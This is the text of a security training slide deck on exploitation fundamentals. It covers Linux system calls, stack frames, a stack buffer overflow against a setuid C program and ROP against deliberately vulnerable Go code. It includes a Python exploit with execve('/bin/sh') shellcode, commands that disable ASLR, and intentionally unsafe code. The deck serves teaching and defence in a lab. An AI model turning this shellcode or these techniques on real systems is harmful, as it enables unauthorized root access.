Slide 1

Slide 1 text

Exploitation Fundamentals 2020 Jan 22th @rung - Mercari Security Team Translator: Jason Fernandes English Github Repository: https://github.com/rung/training-exploit-fundamentals

Slide 2

Slide 2 text

● Name ○ Hiroki Suezawa (@rung) ● Title ○ Security Engineer at Mercari, Inc. ○ Recently started contributing to open-source projects such as Sysdig Falco and gosec! Like working with protocols such as TLS ● Hobbies ○ Tea ■ Ruhuna Darjeeling 1st Flush / Nilgiri

Slide 3

Slide 3 text

Caution ● Please do not abuse what you learn from this session ● These materials are made for software engineers interested in security and lower level programming ● These materials contain samples of C, Python, and assembly code. However, there is no need to have a detailed understanding of these languages

Slide 4

Slide 4 text

Prepareration ● Docker ○ Tested on Mac and Linux(Ubuntu18.04, VM works too) ○ In order to reduce the load on the network please pull the Docker image before the session ● IDA Pro Free ○ Download: https://www.hex-rays.com/products/ida/support/download_freeware.shtml docker pull suezawa/exploit-example1 && docker pull suezawa/exploit-exercise1 && docker pull suezawa/exploit-exercise2 && docker pull suezawa/exploit-exercise3

Slide 5

Slide 5 text

Cheat sheet ● Assembly cheatsheet ○ NASM Intel x86 Assembly Language Cheat Sheet ○ * We use x64(x86-64) but basically same ● CPU Registers cheatsheet ○ Explanation slides ● GDB cheatsheet ○ Explanation slides ○ GDB Quick Reference ● ASCII code sheet ○ ascii (man)

Slide 6

Slide 6 text

Introduction

Slide 7

Slide 7 text

Introduction Security is fun ● Purpose of this session ○ To build a deeper understanding of how computers work through the medium of security ■ The fundamentals of computers haven't changed much. A good understanding of the lower levels, is knowledge that lasts a lifetime. ■ More so than security, these materials go into depth on the inner workings of computers ○ To build a deeper understanding of how application vulnerabilities are attacked ○ Security is fun! You can only learn how to defend by learning how to attack ● Who is this session for? ○ Software engineers interested in security and the lower levels of the stack ● This is a advanced session ○ A part of the content in this session is advanced and may be difficult to understand at first ■ If you will be interested, You can learn more themselves using this slide ■ We will work little by little to understand what occurs in Exercise 2 (Stack Buffer Overflow) and Exercise 3 (Advanced) ■ Some demos include a video to explain what is happening

Slide 8

Slide 8 text

Introduction What will we do in today’s session? ● About the attacks we will see today ○ These attacks aim to take over the controls on processes to allow the execution of malicious code ● What will we do? ○ 1. Introduction ■ First, I will explain the fundamentals of how computers work. I will use a debugger to follow the commands executed by the computer ○ 2. Stack Buffer Overflow ■ Then we will move onto understanding the attacks themselves. We will follow along with what the attacks actually do. ○ 3. Advanced ■ I will explain about the attack mitigation mechanisms in place on Modern Linux systems ■ We will carry out attacks on vulnerable Go code with pre-prepared malicious code ● About the hands-on/demos ○ First, I’ll show you how it’s done

Slide 9

Slide 9 text

Introduction Environment ● Linux x64 (64bit) ○ Everything we will learn in this session is about Linux systems ○ We will use Docker for Mac *Docker for Windows should work too but I didn’t test it ● Github repository for hands-on/demo environment ○ rung/training-exploit-fundamentals ○ All the commands introduced in this session will can be run on Docker ■ Example 1: Hello World! ■ Exercise 1: Function Call ■ Exercise 2: Stack Buffer Overflow ■ Exercise 3: Advanced (ROP)

Slide 10

Slide 10 text

Introduction (Reference) Environment ● Architecture of Docker for Mac ○ A VM is launched on the Mac with a Linux kernel running on it ○ The container communicates with the Linux kernel Mac VM/Hypervisor Linux Kernel Container1 Container2 Container3 ...

Slide 11

Slide 11 text

Introduction Types of attack ● Cybersecurity attack flow ○ Initial access→privilege escalation→discovery(recon)→lateral movement→exfiltration ○ Reference: MITRE ATT&CK Framework ○ Tools are often used to exploit known vulnerabilities (Metasploit、Exploit Kit) ● In this session we will abuse a Stack Buffer Overflow vulnerability, to take over the controls of a program and run arbitrary code ○ The execution of arbitrary code is carried out during all stages of the attack ○ What can this be used for? ■ Privilege escalation (covered in this session) ● Use Setuid to attack binary with high privilege. Obtain root. ■ Remote code execution (RCE) ● Execute code remotely. Run a shell in the server you are connecting to. Company / Cloud

Slide 12

Slide 12 text

1. Computer Systems

Slide 13

Slide 13 text

Computer Systems ● For us to understand the attacks used in this session, first we need to understand how computers operate ● This will be explained in this section

Slide 14

Slide 14 text

Computer Systems What OS does ● Computers are able to interactively communicate with people and networks through network adapters and input/output (I/O) devices ● Operation systems abstract the physical processes of each device, and provide a common interface for applications Computer CPU Memory External Device I/O Device Storage Device Network OS (Linux Kernel) Application Network Adapter A Storage Device A Storage Device B Keyboard Standard interface Device driver

Slide 15

Slide 15 text

Computer Systems What OS does Resource Management ● Operating systems have schedulers and memory management functions to allow for multiple processes to run at the same time OS (Linux Kernel) Application Process1 Application Process2 Application Process3 Application Process3 Scheduling Memory Management

Slide 16

Slide 16 text

Computer Systems System call (Syscall) Standard Interface (System call) ● Operating systems have common interfaces known as system calls. Kernel functions (generating processes, providing memory, network communications, file operations, etc.) are executed through the system calls of each application in the user land. ○ Thus, applications can be used without having to worry about process management, task scheduling, file systems, or the inner workings of each device. OS (Linux Kernel) Process A libc (standard library) System Call Hardware User land Kernel

Slide 17

Slide 17 text

Computer Systems System call (Syscall) ● There are over 300 system calls for Linux (List) ○ Run new processes: fork() -> execve() ○ Network communications: socket() -> connect() ○ Load files: open() -> read() ● What system calls will we use for the attacks in this session? ○ read loading call for standard input / files / network communication, etc. ■ read(int fd, void *buf, size_t count); ● fd = file descripter ● *buf = pointer for where to load (memory address) ● count = size to be loaded ○ execve system call for executing files ■ int execve(const char *pathname, char *const argv[], char *const envp[]); ● *pathname = file path ● argv[] = options for execution ● envp[] = environment variables

Slide 18

Slide 18 text

Computer Systems System call (Syscall) - libc ● The OS has a library for calling system calls ○ The de facto standard is Glibc (GNU Libc) ■ For languages that use C such as C, C++, Perl, Python, and Ruby etc. this is the library that is ultimately called ○ libc provides a wrapper function for calling system calls (man) ■ long syscall(long number, ...); ● number = system call number ○ Other libc examples: ■ Core libraries such as stdio.h (printf)、socket.h(socket), etc. ■ Ultimately these core libraries call a syscall function to communicate with the kernel ● When the system call is made it goes into kernel mode and eventually returns to user mode when the process finishes Syscall Process Return Kernel Process User Mode Kernel Mode

Slide 19

Slide 19 text

Computer Systems [Demo] Let’s see the system call from running Hello World ● Code that directly calls the Syscall wrapper function ○ docker run --rm -it suezawa/exploit-example1 bash ■ Code example ● write system call ○ ssize_t write(int fd, const void *buf, size_t count); ■ fd = file descriptor, 1 is standard output ■ buf = pointer to the string ■ count = size of len(“Hello, world!”) ○ * the printf function also ultimately calls the write syscall #include int main() { syscall(SYS_write, 1, "Hello World!\n", 14); return 0; } SYS_write = 1 Hello World!\n\0 (\0 is a null character)

Slide 20

Slide 20 text

Computer Systems [Demo] Let’s see the system call from running Hello World ● Run ● strace: command for confirming the system call ○ Confirm all system calls ○ Confirm just the write system call $ docker run --rm -it suezawa/exploit-example1 bash root@d267406bb2b6:/home/appuser# ./hello Hello World! root@d267406bb2b6:/home/appuser# strace ./hello root@d267406bb2b6:/home/appuser# # strace -e trace=write ./hello write(1, "Hello World!\n\0", 14Hello World! ) = 14 +++ exited with 0 +++

Slide 21

Slide 21 text

Computer Systems [Demo] Let’s see the system call from running Hello World root@42fdb5c98a68:/home/appuser# strace ./hello execve("./hello", ["./hello"], 0x7ffd09c3a070 /* 10 vars */) = 0 brk(NULL) = 0x1639000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat(3, {st_mode=S_IFREG|0644, st_size=21467, ...}) = 0 mmap(NULL, 21467, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f183e438000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\34\2\0\0\0\0\0"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=2030544, ...}) = 0 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f183e436000 mmap(NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7f183de26000 mprotect(0x7f183e00d000, 2097152, PROT_NONE) = 0 mmap(0x7f183e20d000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7f183e20d000 mmap(0x7f183e213000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7f183e213000 close(3) = 0 arch_prctl(ARCH_SET_FS, 0x7f183e4374c0) = 0 mprotect(0x7f183e20d000, 16384, PROT_READ) = 0 mprotect(0x600000, 4096, PROT_READ) = 0 mprotect(0x7f183e43e000, 4096, PROT_READ) = 0 munmap(0x7f183e438000, 21467) = 0 write(1, "Hello World!\n\0", 14Hello World! ) = 14 exit_group(0) = ? +++ exited with 0 +++ root@42fdb5c98a68:/home/appuser#

Slide 22

Slide 22 text

Computer Systems CPU ● CPU architecture ○ Each type of CPU architecture has its own unique instruction set ■ Intel x86、x64(x86-64)、ARM、RISC ○ For this session we will use the Intel x64 (x86-64)architecture which is the mostly commonly used architecture for modern servers

Slide 23

Slide 23 text

● Register ○ Internal memory device for CPU ○ Each register has a size of 64 bits (8 bytes) ● Memory addresses (we will go into more detail next) ○ RIP: Instruction pointer Points to the address of the instruction currently being executed ○ RSP: Stack pointer. Points to the top stack address ○ RBP: Base pointer. Points to the start address of the stack frame ○ Others (RAX, RBX, RCX, RDX, RSI, RDI, R8〜R15) ■ For now just remember these are addresses that store values Computer Systems CPU Ref: “Introduction to x64 Assembly” Intel Memory machine code 010101010 111101101 010101010 Address (Instraction Pointer Program Counter) RIP Memory (Stack) Stack for function1() Stack Pointer Stack for main() RSP RBP Base Pointer

Slide 24

Slide 24 text

Computer Systems CPU ● Machine Code ○ The CPU executes instruction written to the memory in machine code ● Assembly Language ○ Machine code is difficult for us to work with directly, so assembly language is provided to make it easier for us ○ Assemble ■ Assembly code →machine code ○ Disassemble ■ Machine code→ assembly code Memory machine code 010101010111101101 010101010101101010 101011011010101010 101101010111010010 110101010101 Execution

Slide 25

Slide 25 text

Computer Systems CPU ● Main Assembly Code ○ There are two forms of syntax (AT&T syntax and Intel syntax). Here we will use Intel syntax ○ Ref: NASM Intel x86 Assembly Language Cheat Sheet ■ For Intel x86(32bit) not x64(x86-64, 64bit) but the fundamentals of the cheat sheet are basically the xor A, B Carries out xor of A and B. The result is applied to A mov A, B Move B to A add/sub A, B Add or subtract A to/from B push/pop A Push the value of A to the stack (in memory). Pop the value from the stack call [memory address] Jump to another function and push the return address to the stack. *Used to call functions leave Return the stack to the same address as rbp + pop rbp (mov esp, ebp ; pop ebp) ret Jump to the value at the very top of the stack (rsp) + pop the value at the top of the stack *Used to return to the original function syscall Make system call

Slide 26

Slide 26 text

Computer Systems [Demo] Let’s see assembly int main() { syscall(SYS_write, 1, "Hello World!\n", 14); return 0; } $ docker run --rm -it suezawa/exploit-example1 bash root@ab61fa957ebd:/home/appuser# objdump -M intel -l -S -d hello | grep -A12 ":" 00000000004004c2 : main(): 4004c2: 55 push rbp 4004c3: 48 89 e5 mov rbp,rsp 4004c6: b9 0e 00 00 00 mov ecx,0xe 4004cb: ba 74 05 40 00 mov edx,0x400574 4004d0: be 01 00 00 00 mov esi,0x1 4004d5: bf 01 00 00 00 mov edi,0x1 4004da: b8 00 00 00 00 mov eax,0x0 4004df: e8 fc fe ff ff call 4003e0 4004e4: b8 00 00 00 00 mov eax,0x0 4004e9: 5d pop rbp 4004ea: c3 ret

Slide 27

Slide 27 text

Computer Systems Executable file ● The format for the executable file type for Linux is ELF root@cbe820491a8f:/home/appuser# file hello.s hello.s: assembler source, ASCII text root@cbe820491a8f:/home/appuser# file hello.o hello.o: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), with debug_info, not stripped root@cbe820491a8f:/home/appuser# file hello hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, not stripped Assembly Code .main push rbp mov rbp, rsp mov ecx, 14 mov esi, 1 …. Assemble Source Code #include int main() { syscall(SYS_write, 1, "Hello World!\n", 14); return 0; } Compile Object file Machine code 01010101001010111010 1100101010101010010 ELF file (Executable) Link Machine code 01010101001010111010 1100101010101010010 Memory Info library info gcc -v -c hello.s -o hello.o Assembler: as (gcc is wrapper) gcc -v hello.o -o hello Linker: ld (gcc is wrapper) gcc -v -S hello.c -masm=intel -o hello.s C Compiler: cc1 ● Compilation flow

Slide 28

Slide 28 text

Computer Systems Executable file ● Dynamic Link and Static Link ○ Dynamic Link ■ Shared Library is stored as a separate file and loaded on execution. ■ Can display linked libraries with the ldd command ○ Static Link ■ Share library execution code is included in the same execution file ELF file (Executable) Machine code 01010101001010111010 1100101010101010010 Memory Info library info libc.so root@86be50368e20:/home/appuser# ldd hello linux-vdso.so.1 (0x00007ffdbc983000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff9c6614000) /lib64/ld-linux-x86-64.so.2 (0x00007ff9c6a05000) root@1e862b573a86:/home/appuser# ldd static_hello not a dynamic executable ELF file (Executable) Machine code (main) 01010101001010111010 1100101010101010010 Memory Info Machine code (libc) 01010101001010111010 1100101010101010010 Dynamic Link Static Link

Slide 29

Slide 29 text

Computer Systems Program Execution ● Program execution ○ execve("./hello", ["./hello"], 0x7ffdaccda970) ● Loader ○ The Linux kernel expands the executable file in memory ○ x64 Machine Code is executed from the very start ■ Even if the executable is dynamically linked, the shared library content will be loaded into the same virtual memory space on execution Linux Kernel ELF executable Load 0xffffffffffffffff 0x00 Virtual Memory Machine Code(.text Segment) .rodata Segment .bss Segment Heap segment ↓ Stack Segment ↑ main() 0101010101 libc 010010011010100101 .data Segment * Only major segments included

Slide 30

Slide 30 text

Computer Systems Physical Memory/Virtual Memory ● Virtual Memory ○ The CPU uses a mechanism known as virtual memory ○ Processes do not use physical addresses, instead they only use virtual memory ■ Multiple processes can use the same memory address ○ The kernel managed the page table, and handles the allocation of virtual addresses and physical addresses ○ The CPU has a mechanism for converting between virtual and physical memory (MMU) Linux Kernel Virtual Memory Physical Memory 0-100 700-800 100-200 200-300 200-300 400-500 Page table Process A Process B Process C Manage

Slide 31

Slide 31 text

Computer Systems Physical Memory/Virtual Memory Process B RIP (instruction pointer) RIP (instruction pointer) *GDB is used to check the memory Virtual memory is use so even if it is a different process it can use the same memory address RIP(the command being currently run) shows the same address *even though the address is the same the content is different Process A

Slide 32

Slide 32 text

Computer Systems Memory Layout Machine Code(.text Segment) .rodata Segment .bss Segment Heap segment ↓ Stack Segment ↑ 0xffffffffffffffff 0x00 main() 0101010101 libc 010010011010100101 Contains the machine code executed by the CPU. Address for instruction executed in the RIP(Instruction Pointer) register. Stack address. Extends from high address to low address. See the next page for details. For this demo we will mainly use the ‘text’ segment and ‘stack’ segment dynamic address assigned using malloc() static variables with no initial value / address for global variables static variables with initialized values / global variables * Only major segments included Ref: Data Segment (Wikipedia) .data Segment const, string

Slide 33

Slide 33 text

Computer Systems [Exercise] What we will do ● In Exercise 1 we will simply observe what happens when a function is executed, and not carry out any kind of attack. ○ Learning Objective: the stack frame is filled in with each function call. At the end functions are returned to their original function with the ret instruction. ○ If you can understand what is happening in Exercise 1, you will be able to understand the explanation of the attack we will demo in the next section ● Code used ○ func_call.c ■ main() ● function1() ○ function2() (this is the order functions are called) # ./func_call Hello function1: arg1:Hello,arg2:1,var1:10 function2: arg1:Hello,arg2:2,var1:test,var2:20

Slide 34

Slide 34 text

Computer Systems [Exercise] Stack Frame ● Function call - case of function1() ○ Use main() to call *function1 command ■ Functions argument is handed to arg6 through the register ○ When the call instruction is called, the address that is return is stored in the stack ○ The RBP value is stored in the stack (push rbp) The top address of the stack is input into RBP (mov rbp, rsp) ○ As it is a local variable is covered the whole stack address (sub rsp, 0x20) ● Function ends - function1() ○ Returns the stack address (leave) ○ Returns to the original address(ret) ■ ret == pop rip Stack Segment ↑ High Address Virtual Memory Low Address Return Address Local Variables main() Return Address Local Variables function1() Ref: System V AMD64 ABI Saved RBP Saved RBP (main()) function(arg1, arg2, arg3, arg4, arg5, arg6, arg7, arg8); RDI RSI RDX RCX R8 R9 Use stack RSP RBP

Slide 35

Slide 35 text

Computer Systems [Exercise] Demo ● Demo ○ Learning Objective: the stack frame is filled in with each function call. At the end functions are returned to their original function with the ret instruction. ● What I will do ○ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise1 ○ docker run --rm --privileged -it suezawa/exploit-exercise1 /bin/bash

Slide 36

Slide 36 text

Computer Systems [Exercise] Demo ● func_call.c #include #include void function2(char *arg1, int arg2) { char var1[5]; strcpy(var1, "test"); int var2 = 20; printf(" function2: arg1:%s,arg2:%d,var1:%s,var2:%d\n", arg1, arg2, var1, var2); return; } void function1(char *arg1, int arg2) { int var1 = 10; printf(" function1: arg1:%s,arg2:%d,var1:%d\n", arg1, arg2, var1); function2(arg1, 2); return; } int main() { printf("%s", "Hello\n"); function1("Hello", 1); return 0; }

Slide 37

Slide 37 text

Computer Systems GDB Tutorial ● GDB (GDB Quick Reference) Register Machine Code Disassemble Value in the stack (RSP) Source code (Exercise 1 only) ※Displayed if debug information is start Set a breakpoint in main() and run run (r) Run executable continue (c) Continue with execution. Will stop if there is a breakpoint. break(b) *
Set breakpoint nexti (ni) Continue with one instruction. Will not jump to another function with the call command stepi (si) Continue with one Runtime gdb Run GDB GDB内

Slide 38

Slide 38 text

Computer Systems [Exercise] Demo Link GDB with Stack Layout Image

Slide 39

Slide 39 text

Computer Systems [Exercise] Following a function call ● What to do ○ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise1 ○ docker run --rm --privileged -it suezawa/exploit-exercise1 /bin/bash ● Try out GDB commands while thinking about how virtual memory works ○ 1. Execute the prepared automation script ■ gdb func_call -x gdb-autocommand ○ 2. Execute GDB manually ■ gdb func_call

Slide 40

Slide 40 text

2. Stack Buffer Overflow

Slide 41

Slide 41 text

Stack Buffer Overflow Demo ● Now onto the attack demo ○ There is no need to fully understand what is happening at this stage ● How to carry out the attack ○ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise2 ○ docker run --rm --privileged -it suezawa/exploit-exercise2 /bin/bash ● Attack Type ○ An attack that exploits a Stack Buffer Overflow vulnerability ○ Takes over the controls of the bof binary set by setuid, to escalate privilege from regular user to root, and execute a shell ■ setuid: executed with binary owner privilege # ls -l bof -rwsr-sr-x 1 root root 8248 Jan 7 16:44 bof # (setuid)

Slide 42

Slide 42 text

Stack Buffer Overflow Demo - Attacking using exploit_print.py Link

Slide 43

Slide 43 text

Stack Buffer Overflow What is Stack Buffer Overflow ● Why is there a vulnerability? ○ Functions gets, strcpy, and scanf in C ■ Write directly to memory without confirming how many bytes ■ Writes the user’s input beyond the space allowed for local variables to be stored ■ At the end of the function the return address returned by the ret instruction can be overwritten ● → Program controls (RIP) are taken over Stack Segment ↑ High Address Virtual Memory Low Address Return Address Local Variables char buf[100] (100byte) Saved RBP main() gets(), strcpy(), scanf() Write 200byte Payload (Shellcode)

Slide 44

Slide 44 text

Stack Buffer Overflow How to attack ● Attack Code ○ A buf array with only 100 bytes, is able to take in a huge number of strings ■ gets(buf) = standard input is stored in a buf array ● Check to see what happens when we enter a huge number of strings ○ → Controls taken over through inputting attack code into the return address #include int main() { char buf[100]; setlinebuf(stdout); printf("buf = %p\n", buf); gets(buf); puts(buf); return 0; } # python -c "print ('A'*200)" | ./bof buf = 0x7fffffffe610 AAAAAAAAAAAAAAAA….. Segmentation fault root@b1df66264e7e:/home/appuser#

Slide 45

Slide 45 text

Stack Buffer Overflow How to attack ● How to attack ○ Standard input through gets(buf) to load and send the malicious code ○ return pointer is sent to the malicious code ■ In order to make the attack simpler in this example we display the buf address Stack Segment ↑ High Address Low Address Return Address Local Variables char buf[100] (100byte) Shellcode (Payload) in Machine Code AAAAAAAAAAAAAAAAAA Shellcode Address $ ./bof buf = 0x7fffffffe610

Slide 46

Slide 46 text

Stack Buffer Overflow Exploit #!/usr/bin/python import ... # Write value of 'buf = ' buf_addr = int(sys.argv[1], 16) # offset from buf: 120 # shellcode = 60 byte # dummy = 60 byte('A') shellcode = '\x48\x31\xc0\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x49\x89\xe0\x48\x31\xc0\x48\xc7\xc0\x2d\x70\x00\x00\x50\x49\x89\xe1\x4 8\x31\xc0\x50\x41\x51\x41\x50\x49\x89\xe2\x48\xc7\xc0\x3b\x00\x00\x00\x4c\x89\xc7\x4c\x89\xd6\x48\x31\xd2\x0f\x05' shellcode += 'A' * 60 # return address shellcode += struct.pack('

Slide 47

Slide 47 text

Stack Buffer Overflow Shellcode ● Attack code (source code used today) ○ This is often used to call shell(/bin/sh) so is known as “Shellcode” ● What are we trying to achieve with Shellcode? ○ Call syscall(SYS_execve, “/bin/sh”, [“/bin/sh”, “-p”], 0) ■ By making this call ‘bof’ which is the subject of our attack is converted into/bin/sh ○ How to make a Syscall ■ Set the Syscall number and argument in the register, call the ”syscall” instruction ■ Ref: Interfacing_with_Linux ○ The ‘syscall’ instruction is called as shown below rax rdi rsi rdx 59 (SYS_execve) “/bin/sh” (pointer) [“/bin/sh”, “-p”] (pointer) 0 (NULL)

Slide 48

Slide 48 text

Stack Buffer Overflow Shellcode ● State of the stack / register when syscall is called rax rdi rsi rdx 59 (0x3b) (SYS_execve) “/bin/sh” (pointer) [“/bin/sh”, “-p”] (pointer) 0 (NULL) Registers Stack pointer of “/bin/sh” pointer of “-p” null pointer (\0\0\0\0\0\0\0\0) array ‘-p\0\0\0\0\0\0’ ‘/bin/sh\0’ 64bit

Slide 49

Slide 49 text

Stack Buffer Overflow Exercise - GDB Demo Link

Slide 50

Slide 50 text

Stack Buffer Overflow Exercise ● Hands-on ○ Try it yourself using the materials below. Make sure to disable ASLR first ■ I will explain about ASLR in the next section ○ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise2 ● Understanding with GDB (check out the video coming up) ○ gdb bof -x gdb-autocommand ○ Pay attention to the following: ■ After the return pointer is overwritten, controls move the the attack code with the return instruction ■ The syscall instruction(execve system call) is called by the malicious code ● Warning: make sure to renable ASLR when you are done ○ It is part of the kernel config and will affect other docker images you have running # sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 # sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0

Slide 51

Slide 51 text

3. Advanced

Slide 52

Slide 52 text

Advanced Overview ● Section 3: Advanced ○ Introduction of methods to mitigate the vulnerability and some attack methods that bypass this mitigation ● Mechanisms to prevent the execution of arbitrary code ○ Modern Linux and compilers have technology in place to mitigate these kinds of attacks ○ Improvements were made through a sort of cat and mouse game between attack and defense ○ * for the Stack Buffer Overflow demo we used a binary with all these mitigation methods disabled ● History ○ OS / compiler ■ Early 2000’s - Mitigation development and proliferation (introduced in this section) ● ASLR, SSP, NX bit, etc... ● Proliferated to OS and executable files ● Attach researchers and attackers developed attack methods aimed at weak points in these mitigation technologies

Slide 53

Slide 53 text

Advanced Mitigation ● Main mitigation technologies (details on the next page) ○ NX bit (DEP): limits segments that can be executed ○ ASLR (Address Space Layout Randomization): randomizes memory addresses ○ PIE (Position-Independent Code): randomizes memory addresses of executable code ○ SSP (Stack Smashing Protection, Stack Canary): detects overwrite of return pointer ○ Other examples of protection measures (we won’t go into detail today) ■ RELRO (RELocation Read-Only): makes memory read-only ■ FORTIFY_SOURCE: replaces dangerous functions with other functions, and dynamically checks for memory destruction ● A tool for checking if these technologies are enabled or not ○ checksec (explanation) # checksec --file a.out RELRO STACK CANARY NX PIE .... FILE Full RELRO Canary found NX enabled PIE enabled .... a.out

Slide 54

Slide 54 text

Advanced NX bit(No eXecute bit) / DEP ● NX bit / DEP ○ Enable or disable during compilation ○ ON is the default for GCC ○ Can only execute code in that specific address ● Recap: “2. Stack Buffer Overflow Attack” ○ If NX bit is enable the shell code cannot be placed in the stack address 0xffffffffffffffff 0x00 Virtual Memory Machine Code(.text Segment) .rodata Segment .bss Segment Heap segment ↓ Stack Segment ↑ main() 0101010101 libc 010010011010100101 .data Segment * Only major segments included No Execute Execute

Slide 55

Slide 55 text

Advanced ASLR (Address Space Layout Randomization) ● ASLR (Address Space Layout Randomization) ○ Set on the OS. Set on by default on modern machines. ○ Stack address is randomized ○ Heap address (malloc) is randomized ○ Address of libraries linked through Dynamic Link randomized (libc, etc.) ○ Address of executable code and statically linked code contained in ELF files is not randomized ● PIE (Position-independent code) ○ Address of code including executable code contained in ELF files is randomized 0xffffffffffffffff 0x00 Virtual Memory Machine Code(.text Segment) .rodata Segment .bss Segment Heap segment ↓ Stack Segment ↑ main() 0101010101 libc 010010011010100101 .data Segment * Only major segments included randomize

Slide 56

Slide 56 text

Advanced SSP (Stack Smashing Protection, Stack Canary) ● SSP, Stack Canary ○ Enable or disable on compiling ○ Default is on for GCC ○ A random canary is placed above the return address and checked before the ret instruction to prevent stack buffer overflow Stack Segment ↑ High Address Virtual Memory Low Address Return Address Local Variables main() Return Address Local Variables function1() Saved RBP Saved RBP (main()) Stack Canary Stack Canary

Slide 57

Slide 57 text

Advanced C ● Default protection mechanism when compiling with gcc on Ubuntu18.04 ○ ASLR is enabled by default (configured on the OS side only) ○ On modern machines it is a protection mechanism implemented on both the OS and compiler side making it difficult to pull off simple attacks that abuse stack buffer overflow ■ * There is a countermeasure for each protection mechanism # checksec --file a.out RELRO STACK CANARY NX PIE .... FILE Full RELRO Canary found NX enabled PIE enabled .... hello a.out

Slide 58

Slide 58 text

Advanced Go ● Approach with Go ○ Doesn’t use libc ■ The assembly code which calls the system calls is implemented into a go library = reimplementation of the features held by libc ○ Static Link: single binary so not dependent on shared libraries ○ Security ■ Checks are carried out on the memory boundary, so you cannot use a stack buffer overflow etc. to break the memory ● Confirming protection measures ○ As memory cannot be altered, Stack Smashing Protection(Stack Canary), PIE(randomization of executable code addresses), etc. are disabled $ bin/checksec --file hello RELRO STACK CANARY NX PIE .... FILE No RELRO No canary found NX enabled No PIE .... hello

Slide 59

Slide 59 text

Advanced Exercise - Unsafe Library ● Exercise ○ Unsafe libraries support the use of raw pointers, therefore the memory can be broken ○ In the demo “3. Advanced”, we will attack Go code with a buffer overflow vulnerability ■ Source code ■ The buffer overflow vulnerability exists in the the memcpy function func main() { buf := make([]byte, 32) stdin := bufio.NewScanner(os.Stdin) stdin.Scan() text := stdin.Text() memcpy(*(*uintptr)(unsafe.Pointer(&buf)), *(*uintptr)(unsafe.Pointer(&text)), len(text)) ... } func memcpy(dst uintptr, src uintptr, len int) { for i := 0; i < len; i++ { *(*int8)(unsafe.Pointer(dst)) = *(*int8)(unsafe.Pointer(src)) dst += 1 src += 1 } } Ref: Extract from the SECCON CTF2017 challenges Stack Buffer Overflow buf[32]

Slide 60

Slide 60 text

Advanced Demo ● In this demo we will show the attack used ○ Don’t worry if you don’t get what is happening straight away ● How the attack is done ○ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise3 ○ docker run --rm --privileged -it suezawa/exploit-exercise3 /bin/bash ● Attack details ○ This attack is similar to exercise 2 in that it used a Stack Buffer Overflow vulnerability. However, in this case some protection mechanisms are in place ■ NX bit(DEP) is enabled: can’t carry out attacks on code on the stack ■ ASLR enabled: stack address etc. is randomized ■ PIE is disabled: address for executable code in the ELF binary is fixed ■ SSP(Stack Canary) is disabled: no protection against overwriting the return address ○ Controls on the baby_stack that has been setuid’ can be taken over, allowing escalation to root and shell execution ○ Can call execve using an attack method called ROP (Return-oriented programming)

Slide 61

Slide 61 text

Advanced Demo - Attacking using exploit_print.py Link

Slide 62

Slide 62 text

Advanced IDA Pro ● IDA Pro ○ A very high quality disassembler ○ Today we will use the free version (IDA Pro Free) ■ The paid version has scripting support. A decompiler can also be bought separately ○ In 2019 the NSA released a tool called Ghidra (OSS), this is also a very popular tool ● Let’s try using IDA Pro Free to check the Go binary ○ The Go binary contains syscall.Syscall, a system call wrapper function similar to libc ○ We will use IDA Pro Free to find syscall.Syscall, and check compilation ○ → The address for syscall.Syscall is: 0x481E40

Slide 63

Slide 63 text

Advanced [Demo] IDA Pro Link

Slide 64

Slide 64 text

Advanced Stack Frame (Go) ● The Go stackframe differs from C ○ Go ■ Arguments ● Whole argument is set on stack and handed over ● Ref: C hands it to the stack for x86(32bit) ■ Return values ● Set to the stack and return ● Can hold multiple return values ○ C ■ Arguments ● Set to the stack if doing it through the register is insufficient ■ Return values ● Set to the rax register and returned Stack Segment ↑ High Address Virtual Memory Low Address Return Address Local Variables Saved RBP Arguments Return values Return Address Local Variables Saved RBP Arguments Return values function1 function2 Go

Slide 65

Slide 65 text

Advanced Stack Frame (Go) Stack Segment ↑ High Address Virtual Memory Low Address Arguments1: execve(59) Return values syscall. Syscall Arguments2: “/bin/sh” Arguments3: [“/bin/sh”, “-p”] Arguments4: NULL(0x00) Return address Local Values ● syscall.Syscall ○ Attack call: execve(“/bin/sh”, [“/bin/sh”, “-p”], 0x00) ■ The stack frame will change as shown on the right ○ As NX bit (DEP) is enable, we are unable to inject shellcode into the stack segment ■ We call the syscall function contained in the executable file to call the syscall func Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno)

Slide 66

Slide 66 text

